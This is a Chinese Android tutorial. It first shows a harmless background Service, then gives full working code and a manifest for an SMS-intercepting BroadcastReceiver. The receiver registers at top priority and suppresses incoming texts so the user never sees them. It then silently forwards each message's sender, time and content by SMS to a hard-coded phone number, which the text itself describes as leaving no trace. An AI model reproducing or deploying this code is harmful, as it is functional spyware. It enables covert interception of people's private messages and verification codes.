android:启动服务;广播(最高优先窃听信息)并转发给别人
3.1、Service服务
Service类似Activity,实际上就是一个没有界面的Activity,而且默认不会随着程序关闭而关闭。
开发人员自定义的服务类一般用来完成一些安全软件的一些监听功能,以及消息提示,流氓软件的功能。
系统服务则是通过类似getSystemService()的方法来取得系统的一些服务管理类(XxxxManager),来调用系统处理好的功能完成自己需要的操作,例如:电话监听,连接状态的判断等。
如果想自己编写一个服务类,可以建立一个类,继承Service,并覆写相应的方法即可。
编写好服务类后,还需要在AndroidManifest.xml中声明这个Service。
package com.example.service;
import android.app.Service;
import android.content.Intent;
import android.os.Handler;
import android.os.IBinder;
import android.os.Message;
import android.widget.Toast;
//每隔3秒显示下toast
public class TestService extends Service {
private Handler handler;
private boolean flag=true;
@Override
public IBinder onBind(Intent arg0) {
//绑定activity,一般不用,用了的话,则activity关闭,service也关闭
return null;
}
/**主线程
*
*/
@Override
public void onCreate() {
// TODO Auto-generated method stub
super.onCreate();
System.out.println("创建service");
//调用子线程
handler=new Handler(){
public void handleMessage(Message msg) {
Toast.makeText(TestService.this,"启动了服务------------",Toast.LENGTH_LONG).show();
}
};
}
@Override
public void onDestroy() {
// TODO Auto-generated method stub
super.onDestroy();
System.out.println("销毁service-----------");
flag=false;//这是为了关闭死循环进程
}
@Override
public int onStartCommand(Intent intent, int flags, int startId) {
//启动服务时自动调用这个方法
Thread t=new Thread(){
public void run() {
while (flag) {
try {
Thread.sleep(3000);
} catch (InterruptedException e) {
// TODO Auto-generated catch block
e.printStackTrace();
}
handler.sendEmptyMessage(0);
}
}
};
t.start();
return super.onStartCommand(intent, flags, startId);
}
}
还可以通过系统服务来读取手机的各种信息以及网络连接状态的信息。
3.2、BroadCastReciver广播接收器
广播接收器在使用时的表现上与Service很像,都是一个没有界面的组件,都是在后台自动运行,都可以通过Activity来启动。
但Service只能通过其他组件来启动,但BCR则是可以自动依据某些条件来启动。
广播分为两种:普通广播和有序广播
编写广播时,也需要继承一个类,类名是BroadCastReceiver。
同样也需要在AndroidManifest.xml中声明这个广播组件。
如果想做自动执行的广播,就必须在声明广播组件时加入<intent-filter>设置进入此广播的intent条件。
根据这种功能实现短信拦截操作,将用户接收到的短信拦截,不发送短信通知,不保存到收件箱。
并将短信的相关信息打印到控制台中。
同时,还可以调用发送短信的功能,来将一段消息发送到其他手机,而且也不经过短信应用,不会留下痕迹。
package com.example.receiver;
import java.text.SimpleDateFormat;
import java.util.Date;
import java.util.List;
import android.content.BroadcastReceiver;
import android.content.Context;
import android.content.Intent;
import android.os.Bundle;
import android.telephony.SmsManager;
import android.telephony.SmsMessage;
import android.widget.Toast;
//实现拦截短信并发送给别人
public class SmsReceiver extends BroadcastReceiver {
@Override
public void onReceive(Context ctx, Intent in) {
//先判断是否是因为接收短信进入广播接收器
if (in.getAction().equals("android.provider.Telephony.SMS_RECEIVED")) {
//停止此广播,让后面的接收器无法收到信息
this.abortBroadcast();
//取得发过来的参数
Bundle b=in.getExtras();
if (b!=null) {
Object[] ops=(Object[])b.get("pdus");
SimpleDateFormat sdf=new SimpleDateFormat("yyyy-MM-dd HH:mm:ss");
//循环建立短信对象,并取得里面的信息
for (int i = 0; i < ops.length; i++) {
SmsMessage msg=SmsMessage.createFromPdu((byte[])ops[i]);
//取得消息中的内容
String content=msg.getMessageBody();
//发送人信息
String sender=msg.getDisplayOriginatingAddress();//如果通讯录有名字则发名字,没得话显示号码
//发送时间
Date date=new Date(msg.getTimestampMillis());
String sendTime=sdf.format(date);
System.out.println("消息为:"+sender+"-->"+content+"-->"+sendTime);
SmsManager manager=SmsManager.getDefault();
List<String> all=manager.divideMessage(sender+"-->"+sendTime+"-->"+content);//如果短信太长要分多个短信
for (int j = 0; j <all.size(); j++) {
manager.sendTextMessage("手机号", null, all.get(j),null,null);
}
}
}
}
else {
Toast.makeText(ctx, "接收到了广播", Toast.LENGTH_SHORT).show();
}
}
}
配置权限和声明
<?xml version="1.0" encoding="utf-8"?>
<manifest xmlns:android="http://schemas.android.com/apk/res/android"
package="com.example.interceptforwarding"
android:versionCode="1"
android:versionName="1.0" >
<uses-sdk
android:minSdkVersion="8"
android:targetSdkVersion="17" />
<uses-permission android:name="android.permission.RECEIVE_SMS"/>
<uses-permission android:name="android.permission.SEND_SMS" />
<uses-permission android:name="android.permission.ACCESS_NETWORK_STATE"/>
<uses-permission android:name="android.permission.READ_PHONE_STATE"/>
<application
android:allowBackup="true"
android:icon="@drawable/ic_launcher"
android:label="@string/app_name"
android:theme="@style/AppTheme" >
<activity
android:name="com.example.interceptforwarding.MainActivity"
android:label="@string/app_name" >
<intent-filter>
<action android:name="android.intent.action.MAIN" />
<category android:name="android.intent.category.LAUNCHER" />
</intent-filter>
</activity>
<service android:name="com.example.service.TestService"></service>
<receiver android:name="com.example.receiver.SmsReceiver">
<!-- 设置最高优先级0到1000 同优先级比包的字母 -->
<intent-filter android:priority="1000">
<action android:name="android.provider.Telephony.SMS_RECEIVED"/>
</intent-filter>
</receiver>
</application>
</manifest>